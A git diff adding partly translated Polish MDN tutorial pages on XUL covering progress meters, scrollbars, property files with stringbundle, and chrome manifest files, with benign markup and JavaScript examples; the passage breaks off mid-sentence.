+<pre class="eval">&lt;hbox&gt;
+
+ <span class="highlightred">&lt;progressmeter value="50%" style="margin: 4px;"/&gt;</span>
+
+ &lt;spacer flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p><br>
+Wartość ustawiona jest na 50%, aby widoczny był pasek postępu w oknie. Margines został ustawiony na 4 piksele tak, aby pasek był o tyle oddalony od brzegu okna. Jak wcześniej wspomniano, chcemy, aby pasek postępu był wyświetlany jedynie podczas szukania plików. Skrypt będzie go wyświetlał oraz ukrywał, zależnie od konieczności.
+</p><p><br>
+Przykład: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-progress.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-progress.xul">Podgląd</a>
+</p><p><img alt="Grafika:progress1.png">
+</p>
+</div>
+<p>W kolejnym artykule dowiemy się, w jaki sposób <a href="pl/Kurs_XUL/Dodawanie_element%c3%b3w_HTML">dodać elementy do okna, stosując język HTML</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrolki_list" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_elementów_HTML">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/paski_przewijania/index.html b/files/pl/mozilla/tech/xul/kurs_xul/paski_przewijania/index.html
new file mode 100644
index 0000000000..19cbb05912
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/paski_przewijania/index.html
@@ -0,0 +1,57 @@
+---
+title: Paski przewijania
+slug: Mozilla/Tech/XUL/Kurs_XUL/Paski_przewijania
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Scroll_Bars
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Rozdzielacze" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Paski_narzędzi">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule dowiemy się, jak dodać paski przewijania do okna.
+</p>
+<h3 id="Dodawanie_pask.C3.B3w_przewijania_do_okna" name="Dodawanie_pask.C3.B3w_przewijania_do_okna"> Dodawanie pasków przewijania do okna </h3>
+<p>Pasek przewijania jest zazwyczaj stosowany do poruszania się po większych dokumentach. Możemy go także stosować, aby wskazywać wartości, które zmieniają się w określonym zakresie. Paski przewijania można tworzyć na wiele sposobów. W języku XUL można go uzyskać za pomocą znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/scrollbar" title="scrollbar">scrollbar</a></code></code>. Niektóre elementy jak pola tekstowe, również będą zawierać paski przewijania, kiedy ich zawartość wewnątrz pudełka będzie za duża.
+</p><p>W tym artykule omówimy stworzenie pojedynczego paska przewijania. Użytkownik będzie mógł ustawić wartości paska przewijania, aby go dostosować. Prawdopodobnie nie będziesz musiał stosować tego zbyt często. Pasek przewijania jest stworzony z kilku części: suwaka, który jest jego główną częścią wraz z dopasowanym pudełkiem jego ruchu, i dwóch przycisków wraz ze strzałkami na jego końcach. Pasek przewijania tworzy wszystkie te elementy automatycznie.
+</p><p><img alt="grafika:scroll1.png">
+</p><p>Składnia polecenia tworzącego pasek przewijania jest następująca: </p>
+<pre>&lt;scrollbar
+ id="identyfikator"
+ orient="horizontal"
+ curpos="20"
+ maxpos="100"
+ increment="1"
+ pageincrement="10"/&gt;
+</pre>
+<p>Atrybuty są następujące: </p>
+<dl><dt> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>
+</dt><dd> Unikalny identyfikator paska przewijania.
+</dd></dl>
+<dl><dt> <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>
+</dt><dd> Określa kierunek paska przewijania. Domyślna wartością jest <code>horizontal</code>, która tworzy pasek przewijania, który możemy przesuwać od lewej do prawej. Możemy także określić <code>vertical</code>, który tworzy pasek przewijania, który przesuwamy od góry do dołu. </dd></dl>
+<dl><dt> <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code>
+</dt><dd> Sygnalizuje aktualną pozycję bieżącą paska przewijania. Przyjmuje wartości z zakresu od 0 do wartości <code>maxpos</code>. Nie potrzebuje wartości jednostek. Domyślnie jest ustawiony na 0.
+</dd></dl>
+<dl><dt> <code id="a-maxpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxpos">maxpos</a></code>
+</dt><dd> Sygnalizuje maksymalną pozycje paska przewijania. Przyjmuje tylko wartości liczbowe i nie posiada jednostek. Domyślną wartością jest 100.
+</dd></dl>
+<dl><dt> <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>
+</dt><dd> Wynosi tyle, co wartość atrybutu <code>curpos</code> zmienionego, gdy strzałka na pasku przewijania jest naciśnięta. Domyślnie posiada wartość równą 1.
+</dd></dl>
+<dl><dt> <code id="a-pageincrement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageincrement">pageincrement</a></code>
+</dt><dd> Wynosi tyle, co wartość atrybutu <code>curpos</code> zmienionego, gdy powierzchnia paska przewijania jest kliknięta. Powierzchnia jest obszarem, w którym przytrzymany kursorem pasek przewijania jest przesuwany. Domyślną wartością jest 10.
+</dd></dl>
+<p>Przykład kodu przedstawiony powyżej stworzy nam pasek przewijania, który może przesuwać się w zakresie od 0 do 100. Wartość 100 może być liczbą linii listy, ale może być także czymkolwiek sobie życzymy. W przykładzie wartość początkowa wynosi 20. Kiedy klikniemy w strzałkę na pasku przewijania, wartość będzie się zmieniała o 1 w dół lub w górę. Poprzez stronicowanie pasek przewijania będzie zmieniał wartość o 10.
+</p><p>Kiedy użytkownik kliknie na strzałki, suwak przesunie się równoważnie do określonej wartości <code>increment</code>. Zwiększająca się wartość tego atrybutu będzie przypadkiem paska przewijania przesuwanego dalej wraz z każdym kliknięciem. Znajdujący się bliżej lewej lub górnej pozycji pasek przewijania posiada wartość 0, a mający pozycję znajdującą się bliżej prawej lub dolnej pozycji paska przewijania określi nam atrybut <code>maxpos</code>.
+</p><p>Możesz dopasować wszystkie wartości, tak żeby suwak znajdował się i przesuwał, jak tylko chcesz.
+</p><p>Następnie dowiemy się, jak utworzyć <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">paski narzędzi</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Rozdzielacze" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Paski_narzędzi">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/plik_własności/index.html b/files/pl/mozilla/tech/xul/kurs_xul/plik_własności/index.html
new file mode 100644
index 0000000000..ebae58ec36
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/plik_własności/index.html
@@ -0,0 +1,85 @@
+---
+title: Plik własności
+slug: Mozilla/Tech/XUL/Kurs_XUL/Plik_własności
+tags:
+ - Kurs_XUL
+ - Lokalizacja
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Property_Files
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Lokalizacja" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Wprowadzenie_do_XBL">Następny »</a></p>
+</div> W skryptach nie można używać encji. Zamiast nich stosuje się pliki własności.<p></p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<p>Z plików DTD korzysta się przy tekstach wyświetlanych z pliku XUL. Skrypty nie są jednak parsowane pod względem encji. Dodatkowo, może zajść potrzeba wyświetlenia wiadomości wygenerowanej ze skryptu, jeśli np. nie znamy dokładnego tekstu, jaki ma zostać wyświetlony. W tym celu stosuje się właśnie pliki własności.</p>
+
+<p>Plik własności zawiera zestaw ciągów znaków. Pliki własności znajdują się obok plików DTD, mają rozszerzenie .properties. Własności w plikach deklaruje się za pomocą składni <strong>nazwa=wartość</strong>. Przykład przedstawiono poniżej.</p>
+
+<pre>notFoundAlert=Nie znaleziono plików wg wskazanych kryteriów.
+deleteAlert=Kliknij OK, aby usunąć wszystkie pliki.
+resultMessage=%2$S plików znaleziono w katalogu %1$S.
+</pre>
+
+<p>Powyższy przykładowy plik zawiera dwie własności. Skrypt może je odczytać i wyświetlić użytkownikowi.</p>
+
+<h3 id="Paczki_.C5.82a.C5.84cuch.C3.B3w_znak.C3.B3w" name="Paczki_.C5.82a.C5.84cuch.C3.B3w_znak.C3.B3w">Paczki łańcuchów znaków</h3>
+
+<p>Kod do odczytania własności można napisać samodzielnie albo skorzystać z dostarczonego przez XUL elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stringbundle" title="stringbundle">stringbundle</a></code></code>. Element ten zawiera szereg funkcji, które można wykorzystać do wydobycia ciągów znaków z pliku własności oraz do pobrania innych informacji lokalizacyjnych. Element ten czyta zawartość pliku własności i tworzy listę własności. Dostęp do tych własności możliwy jest po ich nazwie.</p>
+
+<pre>&lt;stringbundleset id="strbundles"&gt;
+&lt;stringbundle id="strings" src="strings.properties"/&gt;
+&lt;/stringbundleset&gt;
+</pre>
+
+<p>Dołączenie tego elementu spowoduje odczytanie własności z pliku 'strings.properties' znajdującego się w tym samym katalogu, co plik XUL. Do odczytu plików zlokalizowanych należy korzystać z adresów URL<em>chrome</em>.</p>
+
+<h4 id="Pobieranie_.C5.82a.C5.84cucha_znak.C3.B3w_z_paczki" name="Pobieranie_.C5.82a.C5.84cucha_znak.C3.B3w_z_paczki">Pobieranie łańcucha znaków z paczki</h4>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stringbundle" title="stringbundle">stringbundle</a></code></code> posiada szereg metod. Jedną z nich jest <code>getString</code>, której można użyć do odczytania z poziomu skryptu ciągu znaków z zestawu.</p>
+
+<pre>var strbundle=document.getElementById("strings");
+var nofilesfound=strbundle.getString("notFoundAlert");
+
+alert(nofilesfound);
+</pre>
+
+<ul>
+ <li>W powyższym przykładzie pobieramy najpierw referencję do zestawu ciągów za pomocą jego <code>id</code>.</li>
+ <li>Następnie odszukujemy w pliku własności ciąg 'notFoundAlert'. Funkcja <code>getString()</code> zwraca wartość ciągu lub null, jeśli ciąg nie istnieje.</li>
+ <li>Na końcu wyświetlamy odszukany ciąg w oknie powiadomienia.</li>
+</ul>
+
+<h4 id="Formatowanie_tekstu" name="Formatowanie_tekstu">Formatowanie tekstu</h4>
+
+<p>Kolejną metodą jest <code>getFormattedString()</code>. Ta metoda także pobiera łańcuch znaków nazwy danego klucza z paczki. Dodatkowo każde wystąpienie formatowania code (np. <code>%S</code>) jest zastępowane przez następny element z paczki.</p>
+
+<pre>var dir = "/usr/local/document";
+var count = 10;
+
+var strbundle = document.getElementById("strings");
+var result = strbundle.getFormattedString("resultMessage", [ dir, count ]);
+
+alert(result);
+</pre>
+
+<p>Ten przykład wyświetli następującą wiadomość w okienku ostrzeżenia.</p>
+
+<pre>10 files found in the /usr/local/document directory.
+</pre>
+
+<p>You will notice the formatting codes <code>%1$S</code> and <code>%2$S</code> is used, and replaced different order in the array. Formatting code %<em>n</em>$S is specify the position of corresponding parameter directly. Although the word order is not the same in all the languages, by using <code>getFormattedString()</code> the specification of the order can be put out the property files.</p>
+
+<h3 id="Znaki_ucieczki_non-ASCII" name="Znaki_ucieczki_non-ASCII">Znaki ucieczki non-ASCII</h3>
+
+<p>Although many languages need non-ASCII characters, property files should be written using only ASCII characters. However, property files support other characters using escape sequences of the form: <code>\uXXXX</code> where XXXX is a character code. Therefore, if your property files contain non-ASCII characters, you should convert these to 'escaped-unicode' format. To do this, you can use native2ascii command line utility bundled with Sun's Java Development Kit (JDK).</p>
+
+<p>W następnym artykule <a href="pl/Kurs_XUL/Wprowadzenie_do_XBL">przyjrzymy się językowi XBL</a>, którego możemy użyć do zdefiniowania zachowania elementu.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Lokalizacja" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Wprowadzenie_do_XBL">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/pliki_manifestu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/pliki_manifestu/index.html
new file mode 100644
index 0000000000..c10c475b8e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/pliki_manifestu/index.html
@@ -0,0 +1,176 @@
+---
+title: Pliki manifestu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Pliki_manifestu
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Manifest_Files
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:URL_Chrome" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_okna">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule zobaczymy jak umieścić chrome i pliki XUL w paczce oraz stworzyć dla niej pliki manifestu.</p>
+
+<h3 id="Paczki" name="Paczki">Paczki</h3>
+
+<p>Paczka to zbiór plików XUL oraz skryptów, które definiują funkcjonalność interfejsu użytkownika. Paczki mogą być zainstalowane w przeglądarce Mozilla i odnosić się poprzez adres URL chrome. Paczka zawiera różnego rodzaju pliki i może być podzielona na podkatalogi dla różnych części paczki. Paczka jest przechowywana jako katalog lub jako archiwum JAR.</p>
+
+<h3 id="Pliki_manifestu" name="Pliki_manifestu">Pliki manifestu</h3>
+
+<p>Plik manifestu opisuje paczkę i mapę lokalizacji na dysku do adresu URL chrome. Pliki manifestu w katalogu chrome będą wykonywane, kiedy aplikacja Mozilli zostanie uruchomiona, aby zobaczyć jakie paczki zostały zainstalowane. To znaczy, że wszystko potrzebne do wykonania instalacji nowej paczki jest dodany nowy plik manifestu albo do katalogu aplikacji chrome albo użytkownik wskaże określony katalog chrome. Z dwóch katalogów chrome jest normalnie używany jeden od katalogu aplikacji mogącego nie mieć dostatecznych uprawnień do zapisanego w nim.</p>
+
+<p>Jeśli tylko chcesz wypróbować uprzywilejowany kod XUL w przeglądarce Firefox, możesz to zrobić w prosty sposób poprzez użycie manifestu z zawartą w sobie jedną linią:</p>
+
+<ol>
+ <li>Gdziekolwiek utwórz nowy katalog. Na przykład, używając Windows możesz skorzystać C:\testfiles</li>
+ <li>Utwórz nowy plik <strong>ASCII</strong><sup>1</sup> i nazwij go test.manifest w katalogu chrome. W tym momencie nie jest w ogóle ważne jak się on nazywa, ważne żeby miał rozszerzenie .manifest. <sub>( 1. nie działa z UTF-8 z BOM) </sub></li>
+ <li>Dodaj następującą linie do niego:</li>
+</ol>
+
+<pre class="eval"> content tests <a class="external" rel="freelink">file:///C:/testfiles/</a>
+</pre>
+
+<p>Ścieżka pliku w tej linii powinna wskazywać na katalog utworzony powyżej. Jeśli nie jesteś pewien(a), co jest ścieżką pliku, otwórz ten katalog i skopiuj adres URL z paska adresu.</p>
+
+<p>To jest to! Teraz, wszystko co jeszcze musisz zrobić to jest dodanie jakiegoś pliku XUL do tego nowego folderu i będziesz mógł go wczytać wpisując adres URL w formie <a class="external" rel="freelink">chrome://tests/content/</a>&lt;filename&gt;. Oczywiście musisz uruchomić ponownie przeglądarkę, żeby zmiany dały efekt. Jeśli plik się nie wczytał, sprawdź czy wpisałeś poprawną ścieżkę.</p>
+
+<p>Prosta składnia linii kodu w pliku manifestu dla zawartości paczki jest:</p>
+
+<p>'content &lt;packagename&gt; &lt;filepath&gt;'</p>
+
+<p>Pierwsze pole 'content' sygnalizuje zawartość paczki. Dla motywów, 'skin' is used while 'locale' is used for locales. The packagename is the example above is 'tests', which means that the first field in the chrome URL is 'tests' as in <a class="external" rel="freelink">chrome://tests/content/sample.xul</a>. If the package name was 'browser', the chrome URL would be <a class="external" rel="freelink">chrome://browser/content/</a>. The final field is the path where the files are located. This can be either a local file path using a file URL or a JAR archive using a jar URL, which will be described in a moment. You can specify multiple packages by including another line in the manifest file.</p>
+
+<p>Plik browser.manifest użyty przez Firefoksa wygląda tak jak ten:</p>
+
+<pre>content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes
+content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes
+overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://browser/content/pageInfo.xul chrome://pippki/content/PageInfoOverlay.xul
+</pre>
+
+<p>Two packages are listed here, 'branding' and 'browser'. Three overlays are also specified, which allow content from different packages to combine together. Extensions will make the most use of overlays, since they merge their UI with the browser UI.</p>
+
+<p>The file paths for the branding and browser packages use jar URLs as the content is packaged up into an archive. A JAR archive can be created with a ZIP utility. For a JAR file located in the chrome directory, the syntax is fairly simple:</p>
+
+<p>jar:&lt;filename.jar&gt;!/&lt;path_in_archive&gt;</p>
+
+<p>For the browser package, the archive is browser.jar, located alongside the manifest file in the chrome directory. The path 'content/browser' specifies the path inside the archive where the XUL files are located. You won't need to specify a path if you don't have any directories in the archive. In this case, there is, since the files for the branding package are stored in a different path in the same archive.</p>
+
+<p>For the 'tests' package created above, the files are not packaged into an archive, so a direct file path is used instead. This is good for development since you don't have to package up all the files every time you change them. However, when distributing an application or extension, you will want to package them into an archive to avoid having to install lots of smaller files.</p>
+
+<p>The xpcnativewrappers=yes part at the end of the manifest line is a flag that may optionally be used. In JavaScript, it is possible for a web page to override built-in functions with their own code. If the xpcnativewrappers flag is specified, it indicates that scripts running in a privileged context don't call these overriden versions, but the original built-in versions instead. Otherwise, if an extension attempted to call the modified versions, it would likely not work properly, or worse, create a security hole. This flag was added to prevent this problem and should always be used for newer extensions, but is left out for older extensions that might not be compatible with the change.</p>
+
+<h3 id="Motywy_i_pliki_lokalizacji" name="Motywy_i_pliki_lokalizacji">Motywy i pliki lokalizacji</h3>
+
+<p>The themes and locales, the syntax is similar as for content packages, but you also need to specify the content package you are providing a theme or locale for. For example:</p>
+
+<pre>skin browser classic/1.0 jar:classic.jar!/skin/classic/browser/
+locale browser en-US jar:en-US.jar!/locale/browser/
+</pre>
+
+<p>For these, the extra field has been added to indicate that the skin and locale applies to the browser. The skin name is 'classic/1.0'. In this case, a version number is being used as part of the theme name, but that is optional if you are making your own theme. Mozilla doesn't handle the version number in a special way; the version number is just part of the theme name. The locale is 'en-US'. The chrome URLs that these would map to would be <a class="external" rel="freelink">chrome://browser/skin</a> and <a class="external" rel="freelink">chrome://browser/locale</a>. If you were creating your own theme or locale for the browser, all you need to do is create a manifest file with one of these two lines in it, modified to suit your theme or locale.</p>
+
+<p>Aby dowiedzieć się więcej nt. motywów, zobacz <a href="/pl/Motywy" title="pl/Motywy">Motywy</a>. Aby dowiedzieć się więcej nt. lokalizacji, zobacz <a href="/pl/Lokalizacja" title="pl/Lokalizacja">Lokalizacja</a>.</p>
+
+<div class="highlight">
+<h3 id="Przyk.C5.82ad_okienka_dialogowego_Znajd.C5.BA_pliki" name="Przyk.C5.82ad_okienka_dialogowego_Znajd.C5.BA_pliki">Przykład okienka dialogowego <code>Znajdź pliki</code></h3>
+
+<p>Utwórzmy plik manifestu dla okienka dialogowego <code>Znajdź pliki</code>. You can combine all of the three types into a single file if you wish. This may be done when creating an extension such that all of the parts are in one file. We will do this for the find files dialog. Create a file findfile.manifest in the chrome directory. Add the following to the file:</p>
+
+<pre>content findfile file:///findfile/content/
+skin findfile classic/1.0 file:///findfile/skin/
+locale findfile en-US file:///findfile/locale/
+</pre>
+
+<p>Create the new directories listed above. It doesn't matter where the directories are created, but the file paths in the manifest file should point to the directories. Naturally, you will want to use directory paths suitable for your system. If we were distributing the package, we would want to package them up into a JAR file, and modify the paths. In this case, we are just creating to demonstrate a manifest file and to prepare directories for examples which will see in the later sections.</p>
+
+<p>Note how the second field of the skin and locale lines specifies 'findfile'. This means that the skin and locale modify the findfile package, which was specified on the first line.The three paths above specify subdirectories for each part. You will want to create these subdirectories to keep each part's files separate.</p>
+
+<p> </p>
+</div>
+
+<p><span class="comment">== Pliki &lt;code&gt;Contents.rdf&lt;/code&gt; == Plik contents.rdf opisuje zawartość paczki. Może być także użyty do opisania skina lub locale-u. Pliki te mogą być naprawdę prosto tworzone jeśli raz dowiesz się jak. Poniższy schemat może być wykorzystany jako punkt startu. &lt;pre&gt; &lt;?xml version="1.0"?&gt; &lt;RDF:RDF xmlns:RDF="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>" xmlns:chrome="<a class="external" href="http://www.mozilla.org/rdf/chrome#" rel="freelink">http://www.mozilla.org/rdf/chrome#</a>"&gt; &lt;RDF:Seq about="urn:mozilla:package:root"&gt; &lt;RDF:li resource="urn:mozilla:package:myapplication"/&gt; &lt;/RDF:Seq&gt; &lt;RDF:Description about="urn:mozilla:package:myapplication" chrome:displayName="My Application" chrome:author="name" chrome:name="myapplication"&gt; &lt;/RDF:Description&gt; &lt;/RDF:RDF&gt; &lt;/pre&gt; Możesz użyć tego szablonu oraz wprowadzić kilka drobnych zmian do twojej paczki. Podzielmy go na części aby zrozumieć za co dana część jest odpowiedzialna. &lt;pre&gt; &lt;?xml version="1.0"?&gt; &lt;RDF:RDF xmlns:RDF="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>" xmlns:chrome="<a class="external" href="http://www.mozilla.org/rdf/chrome#" rel="freelink">http://www.mozilla.org/rdf/chrome#</a>"&gt; &lt;/pre&gt; Te trzy linie powinny być umieszczone na samej górze pliku contents.rdf. Ponieważ RDF jest formatem XML-a, standardowo zawiera linię którą pliki XML zazwyczaj mają. Następnie deklarujemy przestrzenie nazw (namespaces) które będą użyte, jeden dla RDF-a i drugi dla systemu chrome. Jeśli nie rozumiesz co to znaczy, nie przejmuj się. Po prostu dodaj te trzy linijki na początku pliku. &lt;pre&gt; &lt;RDF:Seq about="urn:mozilla:package:root"&gt; &lt;RDF:li resource="urn:mozilla:package:myapplication"/&gt; &lt;/RDF:Seq&gt; &lt;/pre&gt; Te linijki są używane aby zadeklarować jakie paczki, skóry oraz locale są opisane w pliku. W tym przypadku opisywana jest zawartość paczki (jako wskazanej przez słowo 'package' w tekście). Jeśli tworzysz skórkę, powinieneś użyć słowa 'skin' zamiast 'package', natomiast jeśli tworzysz locale-a, użyjesz 'locale'. Nazwą paczki będzie 'myapplication' ('mojaaplikacja'). Oczywiście możesz ją zamienić na nazwę paczki którą tworzysz. Na przykład, aplikacja mailowa Mozilli ma nazwę 'messenger'. Nazwa powinna być krótka i wyrazista. Będzie ona używana w URLu chrome dla tej paczki. Tag &lt;font color="#FF0000"&gt;RDF:li&lt;/font&gt; wykorzystany powyżej jest raczej jak tag &lt;font color="#FF0000"&gt;li&lt;/font&gt; w HTML, czyli deklaruje element listy. A zatem możesz zadeklarować wieloskładnikowe paczki używając tagów &lt;font color="#FF0000"&gt;RDF:li&lt;/font&gt;. Dla motywów, zamień oba występujące w kodzie słowa 'package' na 'skin'; dla plików językowych (locale), zamień słowa 'package' na 'locale'. Poniższy przykład definiuje motyw: &lt;pre&gt; &lt;RDF:Seq about="urn:mozilla:skin:root"&gt; &lt;RDF:li resource="urn:mozilla:skin:blueswayedshoes"/&gt; &lt;/RDF:Seq&gt; &lt;/pre&gt; Następnie część opisowa, która określa nazwę oraz autora aplikacji: &lt;pre&gt; &lt;RDF:Description about="urn:mozilla:package:myapplication" chrome:displayName="My Application" chrome:author="name" chrome:name="myapplication"&gt; &lt;/RDF:Description&gt; &lt;/pre&gt; Ten blok jest używany, aby wprowadzić więcej detali opisujących paczkę, motyw czy plik językowy (locale). Będziesz potrzebował opisu dla każdego &lt;font color="#FF0000"&gt;li&lt;/font&gt;, którego masz. Wartość atrybutu &lt;font color="#00FF00"&gt;about&lt;/font&gt; powinna być taka sama jak atrybutu &lt;font color="#00FF00"&gt;resource&lt;/font&gt; w tagu &lt;font color="#ff0000"&gt;li&lt;/font&gt;. Trzy dodatkowe atrybuty przedstawiają dodatkowe informacje o paczce: * &lt;code&gt;displayName&lt;/code&gt;&lt;br&gt;Tytuł paczki jaki będzie wyświetlany użytkownikowi. Na przykład 'Messenger'. * &lt;code&gt;author&lt;/code&gt;&lt;br&gt;Imię autora paczki. * &lt;code&gt;name&lt;/code&gt;&lt;br&gt;Nazwa paczki, skina lub locale-a. Powinna być taka sama jak ta na końcu 'urn:mozilla:package:' które zostało określone wcześniej. Ta nazwa jest wykorzystywana jaki pierwsza część URLa chrome. Równie dobrze możesz używać wielu innych wartości. Gdy Mozilla zarejestruje twoją paczkę, te wartości będą dodane do rejestru chrome. &lt;div class="highlight"&gt; Stwórzmy plik contents.rdf dla opcji wyszukiwania plików, którą stworzymy. Trzeba będzie opisać paczkę. Ponieważ wewnątrz nie będzie żadnych dodatkowych paczek, skór ani locali, opis będzie bardzo podobny do przykładu powyżej. &lt;pre&gt; &lt;?xml version="1.0"?&gt; &lt;RDF:RDF xmlns:RDF="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>" xmlns:chrome="<a class="external" href="http://www.mozilla.org/rdf/chrome#" rel="freelink">http://www.mozilla.org/rdf/chrome#</a>"&gt; &lt;RDF:Seq about="urn:mozilla:package:root"&gt; &lt;RDF:li resource="urn:mozilla:package:findfile"/&gt; &lt;/RDF:Seq&gt; &lt;RDF:Description about="urn:mozilla:package:findfile" chrome:displayName="Find Files" chrome:author="Whoever" chrome:name="findfile"&gt; &lt;/RDF:Description&gt; &lt;/RDF:RDF&gt; &lt;/pre&gt; Tutaj nazwą komponentu jest 'findfile', która oznacza, że będziemy mogli się odwołać do tego komponentu korzystając z następującego URLa chrome: &lt;pre&gt; <a class="external" rel="freelink">chrome://findfile/content/findfile.xul</a> &lt;/pre&gt; &lt;/div&gt;</span></p>
+
+<h3 id="Instalowanie_paczki" name="Instalowanie_paczki">Instalowanie paczki</h3>
+
+<p>For an application to be installed, you will need to create an installer for it, or include it as part of another application. The method used depends on what kind of application you are creating. For extensions, you will need to create an install file install.rdf which describes what will be installed, the author of the extension and which versions of the browser or other applications it is compatible with. <a href="/pl/Paczki" title="pl/Paczki">A specific directory structure</a> is needed as well since extensions are limited in where the files may be installed to. An extension is packaged up into an <a href="/pl/XPI" title="pl/XPI">XPI</a> file. XPI is short for <a href="/pl/XPInstall" title="pl/XPInstall">XPInstall</a> and is used by Mozilla to install components. Like a JAR file, an XPI file is just a ZIP file with a different extension, so you can create and view XPI files with a ZIP utility.</p>
+
+<p>Firefox's extension manager handles installing extensions packaged into XPI files automatically. It is recommended to upload extensions to the <a class="link-https" href="https://addons.mozilla.org/">Mozilla Add-ons site</a>, where users can locate them for installation. While they may be installed from any site, other sites are not configured to allow installations by default.</p>
+
+<p>It is also possible to use a install script written in JavaScript to install files. This allows you to copy files to any location and perform other file management tasks. However, applications installed with a script will not be listed in the extension manager and there is no automated method to uninstall them. For this reason, the install scripts are not used often.</p>
+
+<p>For standalone applications, they can be packaged up using XULRunner. This allows a separate executable file, and the application may be distributed independently of a browser.</p>
+
+<p>For more information about creating extensions, see <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">rozszerzenia</a>. For more information about XULRunner, see <a href="/pl/XULRunner" title="pl/XULRunner">XULRunner</a>.</p>
+
+<p><span class="comment">Lista zainstalowanych paczek przechowywana jest w katalogu chrome, w pliku chrome.rdf. Nie powiniejeś edytować go bezpośrednio. Plik ten zostanie automatycznie zmieniony, gdy zainstalujesz nową paczkę. Plik ten, tak samo jak contents.rdf jest formatu RDF. Na pierwszy rzut oka wygląda całkiem inaczej niż pliki &lt;code&gt;contents.rdf&lt;/code&gt;, ale jeśli jesteś zaznajomiony z <a href="/pl/RDF">RDF</a>-em, powinieneś szybko zauważyć podobieństwa. Gdy Mozilla uruchamia się, sprawdza najpierw katalog chrome i szuka pliku nazwanego 'installed-chrome.txt'. Plik ten zawiera listę, w bardzo prostym formacie, na której są wszystkie zainstalowane paczki, skórki i locale. Gdy plik ten jest modyfikowany, Mozilla skanuje wszystkie wpisy z listy i rejestruje lub aktualizuje te, które trzeba, by mogły być używane. Aby zarejestrować nową paczkę, wszystko co musisz zrobić, to dodać wpis do 'installed-chrome.txt' i zrestartować Mozillę. Nowa paczka zostanie zarejestrowana, a plik chrome.rdf zostanie zmodyfikowany jeśli trzeba, aby zawierał informacje o nowo zainstalowanych paczkach. Mozilla posiada także system instalacyjny nazwany XPInstall, który pozwala instalować skrypty za pomocą JavaScript, bez modyfikowania pliku ręcznie. XPInstall zostanie opisany na końcu tego tutoriala. Niemniej jednak podczas tworzenia aplikacji możemy modyfikować installed-chrome.txt bezpośrednio. Plik 'installed-chrome.txt' jest w katalogu chrome. Plik ten zawiera listę wpisów do instalacji, jeden element w jednej linijce. Na przykład: &lt;pre&gt; content,install,url,resource:/chrome/findfile/content/ skin,install,url,resource:/chrome/findfile/skin/ &lt;/pre&gt; Powyższe wpisy będą wykorzystane aby 